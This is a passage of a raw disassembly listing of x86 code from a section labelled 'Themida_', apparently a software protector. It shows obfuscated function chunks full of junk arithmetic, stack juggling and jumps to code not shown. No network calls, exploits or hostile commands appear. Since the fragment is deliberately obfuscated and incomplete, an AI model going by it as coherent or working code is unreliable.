loc_555DBB:				; CODE XREF: sub_559C84+53D6j
		sub	esp, 4
		mov	[esp+5Eh+var_60+2], edi
		push	ebx
		pop	edi
		push	edi
		push	[esp+62h+var_64+2]
		push	dword ptr [esp+0]
		pop	eax
		jmp	loc_558BE5
; ---------------------------------------------------------------------------


loc_555DD0:				; CODE XREF: sub_559C84+3Ej
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		pop	esp
		shr	eax, 0Eh
		xor	eax, ecx
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		sub	esp, 4
		mov	[esp+0], ebx
		xchg	ebx, [esp+0]
		xchg	edx, ebx
		not	edx
		jmp	loc_55DA6F
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55E26B


loc_555DF4:				; CODE XREF: sub_55E26B+17j
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		jmp	loc_5539AF
; END OF FUNCTION CHUNK	FOR sub_55E26B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_555DFE:				; CODE XREF: sub_559C84+43CBj
		shl	esi, 4
		add	esi, 0ADCD18D5h
		mov	edi, esi
		pop	esi
		add	[esp+62h+var_60+2], 18AC28D7h
		add	[esp+62h+var_60+2], edi
		push	6726h
		mov	[esp+0], ebx
		mov	ebx, 18AC28D7h
		jmp	loc_556672
; ---------------------------------------------------------------------------


loc_555E28:				; CODE XREF: sub_559C84-1FFEj
		push	esp
		pop	edx
		jmp	loc_5559B2
; ---------------------------------------------------------------------------


loc_555E2F:				; CODE XREF: sub_559C84+FC6j
		push	947h
		mov	[esp+6Ah+var_6A], eax
		mov	eax, 1626E4CEh
		sub	ebx, eax
		pop	eax
		add	eax, ebx
		pop	ebx
		sub	esp, 4
		jmp	loc_55F0AC
; ---------------------------------------------------------------------------


loc_555E4D:				; CODE XREF: sub_559C84-3F6Aj
		xor	ebx, esi
		pop	esi
		add	eax, 758C14E1h
		sub	eax, ebx
		sub	eax, 758C14E1h
		push	[esp+4Ah+var_4A]
		pop	ebx
		push	ebx
		mov	ebx, esp
		jmp	loc_557433
; ---------------------------------------------------------------------------


loc_555E68:				; CODE XREF: sub_559C84+375Aj
		add	ebp, eax
		jmp	loc_55BDC6
; ---------------------------------------------------------------------------


loc_555E6F:				; CODE XREF: sub_559C84+4196j
		mov	edx, 3BE3639Eh
		add	[esp+4Eh+var_46], edx
		jmp	loc_55A33C
; ---------------------------------------------------------------------------


loc_555E7D:				; CODE XREF: sub_559C84+4777j
		pop	edx
		pop	ebx


loc_555E7F:				; CODE XREF: sub_559C84-64ADj
					; sub_559C84+5D13j
		push	edi
		push	15E3h
		jmp	loc_553AF4
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_555E8A:				; CODE XREF: Themida_:00553945j
		add	ebp, 3D231DAEh
		sub	ebp, edi
		sub	ebp, 3D231DAEh
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	eax
		push	edx
		mov	edx, 4
		jmp	loc_55486C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_555EB4:				; CODE XREF: sub_559C84-F61j
		sub	esi, ebx
		mov	ebx, esi
		pop	esi
		shl	ebx, 6
		jmp	loc_55C9AF
; ---------------------------------------------------------------------------


loc_555EC1:				; CODE XREF: sub_559C84+23DAj
		add	eax, 46FB2370h
		push	ecx
		mov	ecx, 0D8F6B94h
		add	eax, ecx
		mov	ecx, [esp+4Eh+var_4E]
		add	esp, 4
		add	edi, 7462911h
		add	edi, eax
		jmp	loc_55B3FD
; ---------------------------------------------------------------------------


loc_555EE4:				; CODE XREF: sub_559C84+CD5j
		push	esi
		push	edi
		jmp	loc_55D683
; ---------------------------------------------------------------------------


loc_555EEB:				; CODE XREF: sub_559C84-980j
		push	ecx
		mov	ecx, esp
		jmp	loc_559024
; ---------------------------------------------------------------------------


loc_555EF3:				; CODE XREF: sub_559C84+5EAFj
		push	esi
		push	[esp+5Ah+var_58+2]
		pop	esi
		pop	[esp+5Ah+var_5C+2]
		pop	esp
		imul	cl
		movzx	cx, ah
		jmp	sub_55F275
; ---------------------------------------------------------------------------


loc_555F08:				; CODE XREF: sub_559C84+449j
		sub	eax, 4
		xchg	eax, [esp+52h+var_52]
		pop	esp
		mov	[esp+4Eh+var_4E], esi
		push	esp
		mov	esi, [esp+52h+var_52]
		add	esp, 4
		add	esi, 4
		push	ecx
		mov	ecx, 4
		add	esi, 7E141F85h
		sub	esi, ecx
		sub	esi, 7E141F85h
		pop	ecx
		jmp	loc_558741
; ---------------------------------------------------------------------------


loc_555F3B:				; CODE XREF: sub_559C84+5866j
		and	cl, bh
		jmp	loc_554C4B
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_555F42:				; CODE XREF: Themida_:00556A65j
		pop	eax
		push	small 1F1Dh
		mov	[esp], ax
		mov	al, 57h
		add	dl, al
		pop	ax
		add	al, 49h
		add	al, 0F3h
		add	al, dl
		sub	al, 0F3h
		sub	al, 49h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	small 4536h
		mov	[esp], cx
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 71h
		and	dh, 58h
		jmp	loc_55F982
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_555F7D:				; CODE XREF: sub_559C84-790j
		mov	ah, bh
		jmp	loc_557F92
; ---------------------------------------------------------------------------


loc_555F84:				; CODE XREF: sub_559C84+3929j
		pop	eax
		xchg	edx, [esp+4Ah+var_4A]
		pop	esp
		mov	[esp+46h+var_46], edx
		push	eax
		pushf
		jmp	loc_55351F
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_555F93:				; CODE XREF: Themida_:00556787j
		sub	edi, ecx
		pop	ecx
		pop	eax
		sub	ebp, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_55351F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_555FB1:				; CODE XREF: sub_559C84+1C8Fj
		mov	edx, 4A742D30h
		jmp	loc_55B199
; ---------------------------------------------------------------------------


loc_555FBB:				; CODE XREF: sub_559C84+CDBj
		add	bx, 64E5h
		jmp	loc_557327
; ---------------------------------------------------------------------------


loc_555FC5:				; CODE XREF: sub_559C84-5EDFj
		add	eax, 0CF61B551h
		add	eax, 170E01C6h
		add	eax, 45C56F68h
		add	eax, ebx
		jmp	loc_558213
; ---------------------------------------------------------------------------


loc_555FDB:				; CODE XREF: sub_559C84-2F50j
		pop	esp
		mul	cx
		push	small 6C45h
		mov	word ptr [esp+12h+var_14+2], dx
		jmp	loc_55971C
; ---------------------------------------------------------------------------


loc_555FEC:				; CODE XREF: sub_559C84-4FDEj
		push	cx
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_555FF4:				; CODE XREF: sub_559C84+542j
		xchg	ebp, [esp+5Ch+var_5C]
		pop	esp
		jmp	loc_55B047
; ---------------------------------------------------------------------------


loc_555FFD:				; CODE XREF: sub_559C84-4C5Dj
		xor	ebx, edi
		pop	edi
		add	ecx, ebx
		jmp	loc_55930F
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_556007:				; DATA XREF: Themida_:00553450o
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55A9F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_556012:				; CODE XREF: sub_559C84+5F4Bj
		pop	eax
		add	dword ptr [ebx], 1
		jmp	loc_55D1A7
; ---------------------------------------------------------------------------


loc_55601E:				; CODE XREF: sub_559C84+1649j
		xor	eax, [esp+46h+var_46]
		pop	esp
		jmp	loc_5580BD
; ---------------------------------------------------------------------------


loc_556027:				; CODE XREF: sub_559C84+5FB7j
		pop	esp
		mov	[esp+3Eh+var_3E], edx
		mov	edx, 0
		jmp	loc_555283
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_556035:				; CODE XREF: Themida_:00554A3Cj
		sub	dl, 15h
		mov	ch, dl
		jmp	loc_558ED4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55603F:				; CODE XREF: sub_559C84-5A3j
		or	esi, 22976951h
		shl	esi, 1
		sub	esi, 16829109h
		add	esi, 39495D52h
		sub	esi, ebp
		sub	esi, 39495D52h
		pop	ebp
		and	eax, esi
		mov	esi, [esp+3Ah+var_3A]
		add	esp, 4
		or	edx, eax
		jmp	loc_55C6DE
; ---------------------------------------------------------------------------


loc_55606B:				; CODE XREF: sub_559C84+1CAAj
		pop	edx
		add	edi, ebp
		mov	ebp, [esp+32h+var_34+2]
		add	esp, 4
		push	6F16h
		mov	[esp+32h+var_34+2], edx
		mov	edx, 2
		add	edi, edx
		pop	edx
		xor	edi, [esp+2Eh+var_30+2]
		xor	[esp+2Eh+var_30+2], edi
		xor	edi, [esp+2Eh+var_30+2]
		mov	esp, [esp+2Eh+var_30+2]
		xor	word ptr [esp+2Eh+var_30+2], ax
		pushf
		jmp	loc_55351F
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		jmp	loc_554E82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5560A5:				; CODE XREF: sub_559C84-5E7Dj
		sub	ebx, 6187065Ah
		jmp	loc_559A69
; ---------------------------------------------------------------------------


loc_5560B0:				; CODE XREF: sub_559C84+1C7Ej
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_5560B5:				; CODE XREF: sub_559C84-4657j
		mov	[esp+48h+var_4A+2], eax
		mov	al, 0D2h
		shr	al, 7
		sub	al, 63h
		push	cx
		mov	ch, 73h
		add	al, 57h
		add	al, ch
		sub	al, 57h
		pop	cx
		sub	bl, al
		pop	eax
		sub	bl, 0EDh
		sub	bl, al
		add	bl, 0EDh
		jmp	loc_557566
; ---------------------------------------------------------------------------


loc_5560DB:				; CODE XREF: sub_559C84+4988j
		add	[esp+44h+var_46+2], 1E9172D0h
		jmp	loc_553AEE
; ---------------------------------------------------------------------------


loc_5560E7:				; CODE XREF: sub_559C84-DB5j
		pop	esi
		xchg	eax, [esp+40h+var_42+2]
		pop	esp
		mov	[esp+3Ch+var_3E+2], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 2
		push	eax
		jmp	loc_55F1F0
; ---------------------------------------------------------------------------


loc_556101:				; CODE XREF: sub_559C84+412Dj
		pop	eax
		add	esp, 4


loc_556108:				; CODE XREF: sub_559C84+31BDj
					; sub_559C84+5D50j
		push	dword ptr [edi+24h]
		push	[esp+3Ch+var_3E+2]
		pop	ecx
		push	42Eh
		jmp	loc_55C70A
; ---------------------------------------------------------------------------


loc_556119:				; CODE XREF: sub_559C84+1CBFj
		mov	esi, esp
		jmp	loc_55A4B9
; ---------------------------------------------------------------------------


loc_556120:				; CODE XREF: sub_559C84+E1Ej
		add	ebp, edi
		jmp	loc_5562B1
; ---------------------------------------------------------------------------


loc_556127:				; CODE XREF: sub_559C84+40BBj
		mov	esi, [esp+40h+var_42+2]
		jmp	loc_557A06
; ---------------------------------------------------------------------------


loc_55612F:				; CODE XREF: sub_559C84-3392j
		mov	bl, 33h
		or	bl, 0C4h
		not	bl
		add	bl, 0B7h
		jmp	loc_55FA6A
; ---------------------------------------------------------------------------


loc_55613E:				; CODE XREF: sub_559C84+465Fj
		mov	ebx, 1C8D5862h
		xor	ebx, 1C8DD862h
		and	eax, ebx
		jmp	loc_553B24
; ---------------------------------------------------------------------------


loc_556150:				; CODE XREF: sub_559C84+1468j
		add	esp, 4
		push	ebp
		mov	ebp, 2
		jmp	loc_5587E1
; ---------------------------------------------------------------------------


loc_556161:				; CODE XREF: sub_559C84+4623j
		xor	ebx, 0F4BAAD76h
		add	esi, ebx
		jmp	loc_554616
; ---------------------------------------------------------------------------


loc_55616E:				; CODE XREF: sub_559C84-1B78j
		sub	al, 4Ch
		mov	ecx, [esp+40h+var_42+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+44h+var_46+2]
		jmp	loc_55A8F1
; ---------------------------------------------------------------------------


loc_556188:				; CODE XREF: sub_559C84-3111j
		add	ecx, edi
		jmp	loc_55ACC9
; ---------------------------------------------------------------------------


loc_55618F:				; CODE XREF: sub_559C84+85Fj
		add	esp, 4
		add	ebx, 4
		push	esi
		mov	esi, esp
		jmp	loc_55E8A6
; ---------------------------------------------------------------------------


loc_5561A0:				; CODE XREF: sub_559C84+13EDj
		mov	ecx, ebx
		jmp	loc_556A31
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55F9FD


loc_5561A7:				; CODE XREF: sub_55F9FD+1Bj
		pop	eax
		add	esp, 4
		add	bl, dh
		mov	dx, word ptr [esp-8+arg_4]
		jmp	loc_55782D
; END OF FUNCTION CHUNK	FOR sub_55F9FD

; =============== S U B	R O U T	I N E =======================================



sub_5561B6	proc near		; DATA XREF: Themida_:00553494o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005568A6 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00556CBD SIZE 00000046 BYTES
; FUNCTION CHUNK AT 005587A0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055E7A9 SIZE 0000000F BYTES

		mov	eax, [esp+0]
		push	ebp
		push	esp
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		add	ebp, 4
		push	edi
		jmp	loc_556CBD
sub_5561B6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5561CD:				; CODE XREF: sub_559C84-1976j
		mov	esi, 4
		add	ecx, 3AC4784Eh
		add	ecx, esi
		sub	ecx, 3AC4784Eh
		pop	esi
		add	ecx, 4
		jmp	loc_55A0E2
; ---------------------------------------------------------------------------


loc_5561EC:				; CODE XREF: sub_559C84-59ECj
		add	ecx, ebp
		pop	ebp
		add	ecx, 2
		xchg	ecx, [esp-18h+arg_14]
		pop	esp
		mov	ax, word ptr [esp-1Ch+arg_18]
		push	ebx
		push	11CDh
		jmp	loc_55BD13
; ---------------------------------------------------------------------------


loc_556208:				; CODE XREF: sub_559C84+443j
		push	[esp-14h+arg_14]
		mov	ebx, [esp-10h+arg_C]
		jmp	loc_55D204
; ---------------------------------------------------------------------------


loc_556214:				; CODE XREF: sub_559C84-610Ej
		add	al, 2Eh
		mov	ebx, [esp+32h+var_34+2]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_55EB50
; ---------------------------------------------------------------------------


loc_556224:				; CODE XREF: sub_559C84+3193j
		push	edi
		mov	edi, 1
		mov	eax, edi
		pop	edi
		push	1E3Dh
		jmp	loc_55436A
; ---------------------------------------------------------------------------


loc_556237:				; CODE XREF: sub_559C84-18B5j
		add	esp, 4
		jmp	loc_55F336
; ---------------------------------------------------------------------------


loc_556242:				; CODE XREF: sub_559C84-4316j
		add	bl, dl
		pop	edx
		jmp	loc_5562A6
; ---------------------------------------------------------------------------


loc_55624A:				; CODE XREF: sub_559C84+361Ej
		xor	ebp, ecx
		mov	ecx, [esp+30h+var_30]
		jmp	loc_55D693
; ---------------------------------------------------------------------------


loc_556254:				; CODE XREF: sub_559C84-2E43j
		sub	ebp, 4
		xchg	ebp, [esp+30h+var_30]
		pop	esp
		mov	[esp+2Ch+var_2C], ecx
		mov	cl, 24h
		sub	cl, 84h
		add	dl, 68h
		sub	dl, cl
		push	ecx
		mov	cl, 0C9h
		or	cl, 0F3h
		dec	cl
		inc	cl
		jmp	loc_55AA7A
; ---------------------------------------------------------------------------


loc_556277:				; CODE XREF: sub_559C84+1C65j
		not	ecx
		jmp	loc_559BC2
; ---------------------------------------------------------------------------


loc_55627E:				; CODE XREF: sub_559C84+18Aj
		mov	ecx, [esp+30h+var_30]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+34h+var_34]
		pop	esp
		push	edx
		push	[esp+34h+var_30]
		pop	edx
		pop	[esp+34h+var_34]
		mov	esp, [esp+30h+var_30]
		mov	word ptr [esp+30h+var_30], cx
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_5562A6:				; CODE XREF: sub_559C84-3A3Fj
		sub	bl, dl
		sub	bl, 59h
		push	eax
		jmp	loc_55664B
; ---------------------------------------------------------------------------


loc_5562B1:				; CODE XREF: sub_559C84-3B62j
		pop	edi
		xor	ebp, [esp+3Ch+var_3E+2]
		xor	[esp+3Ch+var_3E+2], ebp
		xor	ebp, [esp+3Ch+var_3E+2]
		jmp	loc_558F27
; ---------------------------------------------------------------------------


loc_5562C0:				; CODE XREF: sub_559C84+4346j
		mov	ebp, 76742180h
		jmp	loc_55803C
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557976


loc_5562CA:				; CODE XREF: sub_557976-62Aj
		mov	dl, 34h
		dec	dl
		jmp	loc_55433C
; END OF FUNCTION CHUNK	FOR sub_557976
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5562D3:				; CODE XREF: sub_559C84-170Dj
		add	ch, 0ECh
		jmp	loc_553FA7
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_5562DB:				; CODE XREF: Themida_:00558B8Fj
		push	ebx
		mov	ebx, 6B2C40E6h
		jmp	loc_55C90B
; ---------------------------------------------------------------------------
		dw 2489h
; ---------------------------------------------------------------------------
		and	al, 83h
		add	al, 24h
		add	al, 5Fh
		add	edi, 4
		push	esi
		mov	esi, 2
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_55968E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_556312:				; CODE XREF: sub_559C84-515Cj
		xor	edx, [esp+46h+var_46]
		mov	esp, [esp+46h+var_46]
		jmp	loc_55DC22
; ---------------------------------------------------------------------------


loc_55631D:				; CODE XREF: sub_559C84+437Dj
		pop	ecx
		sub	dl, ch
		add	dl, 22h
		pop	cx
		jmp	loc_55C7D0
; ---------------------------------------------------------------------------


loc_55632A:				; CODE XREF: sub_559C84-5211j
		add	dl, 80h
		jmp	loc_559713
; ---------------------------------------------------------------------------


loc_556332:				; CODE XREF: sub_559C84+1657j
		add	esi, edx
		sub	esi, 0B6613E3h
		mov	edx, [esp+4Eh+var_4E]
		push	edx
		jmp	loc_55DA62
; ---------------------------------------------------------------------------


loc_556343:				; CODE XREF: sub_559C84+235j
		sub	ebp, ecx
		pop	ecx
		jmp	loc_558884
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555BE3


loc_55634B:				; CODE XREF: sub_555BE3-128Dj
		add	dword ptr [esp+0], 4
		jmp	loc_55ECCC
; END OF FUNCTION CHUNK	FOR sub_555BE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_556357:				; CODE XREF: sub_559C84+1A53j
		push	15B0h
		mov	[esp+52h+var_52], edx
		mov	dl, 35h
		shl	dl, 7
		dec	dl
		not	dl
		push	ebp
		jmp	loc_556AA4
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55F9FD


loc_55636E:				; CODE XREF: sub_55F9FD-499j
		mov	edi, 6BE6677Bh
		or	edi, 713E43B2h
		shl	edi, 2
		sub	edi, 0EFF99FE8h
		add	esi, 5DDC071Ch
		add	esi, edi
		push	edx
		jmp	loc_558C95
; END OF FUNCTION CHUNK	FOR sub_55F9FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_556390:				; CODE XREF: sub_559C84+4BA4j
		neg	ecx
		not	ecx
		sub	ecx, 3B9F2B67h
		jmp	loc_55C0C5
; ---------------------------------------------------------------------------


loc_55639F:				; CODE XREF: sub_559C84+5BB9j
		shr	edx, 7
		sub	edx, 0E7B05BFDh
		xor	ecx, edx
		pop	edx
		and	ecx, 50D93FB4h
		xor	ecx, 10D12884h
		add	edi, ecx
		mov	ecx, [esp+52h+var_52]
		jmp	loc_55BD9E
; ---------------------------------------------------------------------------


loc_5563C1:				; CODE XREF: sub_559C84+30BEj
		mov	ah, 8
		add	ah, dh
		pop	edx
		push	edx
		mov	dh, ah
		push	eax
		mov	al, dh
		mov	ch, al
		jmp	loc_555583
; ---------------------------------------------------------------------------


loc_5563D3:				; CODE XREF: sub_559C84-C7j
		or	eax, eax
		jz	loc_55A441
		sub	esp, 4
		mov	[esp+5Ah+var_5C+2], esi
		push	ebx
		pop	esi
		push	347Bh
		mov	[esp+5Eh+var_60+2], esi
		push	[esp+5Eh+var_60+2]
		pop	eax
		jmp	sub_55DBF3
; ---------------------------------------------------------------------------


loc_5563F4:				; CODE XREF: sub_559C84+2468j
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		add	edx, 4
		xchg	edx, [esp+5Eh+var_60+2]
		pop	esp
		sub	esp, 4
		jmp	loc_558EEB
; ---------------------------------------------------------------------------


loc_55640E:				; CODE XREF: sub_559C84+2D83j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_557FD6
; ---------------------------------------------------------------------------


loc_55641B:				; CODE XREF: sub_559C84-5599j
		shr	ebx, 5
		xor	ebx, 40EC4590h
		jmp	sub_55F86E
; ---------------------------------------------------------------------------


loc_556429:				; CODE XREF: sub_559C84-6574j
		shr	edi, 6
		shr	edi, 5
		push	ecx
		mov	ecx, 27820661h
		or	edi, ecx
		jmp	loc_5536D8
; ---------------------------------------------------------------------------


loc_55643C:				; CODE XREF: sub_559C84-4939j
		push	cx
		mov	cl, 59h
		jmp	loc_553C7D
; ---------------------------------------------------------------------------


loc_556445:				; CODE XREF: sub_559C84-11D8j
		sub	esi, edx
		mov	edx, [esp+52h+var_52]
		add	esp, 4
		add	eax, esi
		pop	esi
		push	esi
		push	edi
		push	27CA3AD2h
		pop	edi
		sub	edi, 27CA3AD0h
		mov	esi, edi
		jmp	loc_55EA52
; ---------------------------------------------------------------------------


loc_556468:				; CODE XREF: sub_559C84-15C7j
		and	edx, 53331291h
		xor	edx, 4E76536Ah
		sub	esi, edx
		pop	edx
		add	esi, ebp
		add	esi, 0F5443FBh
		push	[esp+4Eh+var_4E]
		mov	ebp, [esp+52h+var_52]
		jmp	loc_55A89A
; ---------------------------------------------------------------------------


loc_55648A:				; CODE XREF: sub_559C84-EC8j
		sub	edx, 5F071E8Ch
		pop	eax
		mov	ebx, [esp+4Eh+var_4E]
		jmp	loc_55A929
; ---------------------------------------------------------------------------


loc_556499:				; CODE XREF: sub_559C84+4Cj
		add	ebp, edx
		pop	edx
		jmp	loc_557CC0
; ---------------------------------------------------------------------------


loc_5564A1:				; CODE XREF: sub_559C84+1833j
		mov	edi, 1
		sub	ebx, edi
		pop	edi
		jmp	loc_55DDF6
; ---------------------------------------------------------------------------


loc_5564AE:				; CODE XREF: sub_559C84-1756j
		xchg	edi, [esp+46h+var_46]
		pop	esp
		xor	ecx, esi
		pop	esi
		rep movsd
		add	esp, [edx+38h]
		jmp	loc_5578ED
; ---------------------------------------------------------------------------


loc_5564BF:				; CODE XREF: sub_559C84+5507j
		push	edx
		jmp	loc_553CF2
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_5564C5:				; DATA XREF: Themida_:00553358o
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_5599D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5564D7:				; CODE XREF: sub_559C84+4712j
		add	edx, 21070AF6h
		sub	edx, ebp
		sub	edx, 21070AF6h
		pop	ebp
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_5564EB:				; CODE XREF: sub_559C84+5C30j
		pop	esp
		jmp	loc_555D55
; ---------------------------------------------------------------------------


loc_5564F1:				; CODE XREF: sub_559C84-26A3j
		mov	edx, [esp+3Ah+var_3A]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_55E1BA
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_556511:				; CODE XREF: Themida_:00553858j
		mov	ebx, [esp]
		jmp	loc_55EF5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_556519:				; CODE XREF: sub_559C84-45DEj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+50h+var_52+2]
		jmp	loc_55CF0C
; ---------------------------------------------------------------------------


loc_55652D:				; CODE XREF: sub_559C84+1774j
		add	ecx, 4
		jmp	loc_55DAE9
; ---------------------------------------------------------------------------


loc_556535:				; CODE XREF: sub_559C84+C87j
		or	ebx, 3F5B3555h
		add	ebx, 995E0893h
		jmp	loc_55C5D2
; ---------------------------------------------------------------------------


loc_556546:				; CODE XREF: sub_559C84+2E0Bj
		mov	ebx, [esp+50h+var_52+2]
		jmp	loc_5535C5
; ---------------------------------------------------------------------------


loc_55654E:				; CODE XREF: sub_559C84+20A5j
		mov	ebx, 142626D2h
		xor	edi, ebx
		pop	ebx
		jmp	loc_5553DB
; ---------------------------------------------------------------------------


loc_55655B:				; CODE XREF: sub_559C84+3AB8j
		add	edi, 274C6E9Ah
		pop	eax
		add	edi, 4
		jmp	loc_55CE39
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55656A:				; CODE XREF: Themida_:0055686Bj
		xor	eax, ecx
		jmp	loc_558111
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_556571:				; CODE XREF: sub_559C84+F19j
		add	eax, 62422035h
		add	eax, edi
		push	edx
		mov	edx, 2AB244FFh
		xor	edx, 48F064CAh
		sub	eax, edx
		pop	edx
		mov	edi, [esp+48h+var_4A+2]
		jmp	loc_55DDB6
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5589C1


loc_55658F:				; CODE XREF: sub_5589C1+18j
		mov	[esp+4+var_4], ebp
		push	edx
		jmp	loc_553973
; END OF FUNCTION CHUNK	FOR sub_5589C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_556598:				; CODE XREF: sub_559C84+2DEDj
		mov	eax, 4
		add	esi, eax
		pop	eax
		xchg	esi, [esp+44h+var_46+2]
		jmp	loc_55A2BE
; ---------------------------------------------------------------------------


loc_5565A8:				; CODE XREF: sub_559C84-670j
		pop	esi
		inc	esi
		and	esi, 53066B35h
		add	esi, 68AAD776h
		mov	ebp, esi
		pop	esi
		sub	eax, ebp
		mov	ebp, [esp+3Ch+var_3E+2]
		add	esp, 4
		add	eax, 1
		sub	eax, 102755D7h
		mov	ebx, eax
		pop	eax
		sub	edi, ebx
		mov	ebx, [esp+34h+var_34]
		jmp	loc_554452
; ---------------------------------------------------------------------------


loc_5565D8:				; CODE XREF: sub_559C84-1D7Cj
		pop	esp
		mov	[esp+30h+var_30], ecx
		push	edi
		mov	edi, 6A3A4D6Fh
		not	edi
		push	ebp
		mov	ebp, 73D676BDh
		not	ebp
		xor	ebp, 10F97F00h
		xor	ebp, 7E1627D0h
		jmp	loc_55DE1F
; ---------------------------------------------------------------------------


loc_5565FD:				; CODE XREF: sub_559C84-1308j
		xor	esi, 4A977D1Ch
		sub	esi, 782EB26h
		add	esi, 1340B36h
		and	eax, esi
		pop	esi
		xor	eax, 14C0404h
		add	ebx, eax
		pop	eax
		push	edi
		mov	edi, 2
		add	ebx, edi
		pop	edi
		xor	ebx, [esp+30h+var_30]
		xor	[esp+30h+var_30], ebx
		xor	ebx, [esp+30h+var_30]
		jmp	loc_55CD95
; ---------------------------------------------------------------------------


loc_556631:				; CODE XREF: sub_559C84-4131j
		push	ecx
		mov	ecx, 36091B24h
		or	esi, ecx
		pop	ecx
		xor	esi, 11DF162Ah
		jmp	loc_55BF01
; ---------------------------------------------------------------------------


loc_556645:				; CODE XREF: sub_559C84+51AAj
		push	esi
		jmp	loc_556700
; ---------------------------------------------------------------------------


loc_55664B:				; CODE XREF: sub_559C84-39D8j
		push	ecx
		jmp	loc_5547DA
; ---------------------------------------------------------------------------


loc_556651:				; CODE XREF: sub_559C84+4C92j
		pop	edi
		not	eax
		jmp	loc_55DC0A
; ---------------------------------------------------------------------------


loc_556659:				; CODE XREF: sub_559C84+5B5Cj
		mov	esi, [esp+34h+var_34]
		add	esp, 4
		jmp	loc_55F243
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_55351F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5599A2


loc_55666C:				; CODE XREF: sub_5599A2-EB3j
		push	ecx
		jmp	loc_554BB7
; END OF FUNCTION CHUNK	FOR sub_5599A2
; ---------------------------------------------------------------------------
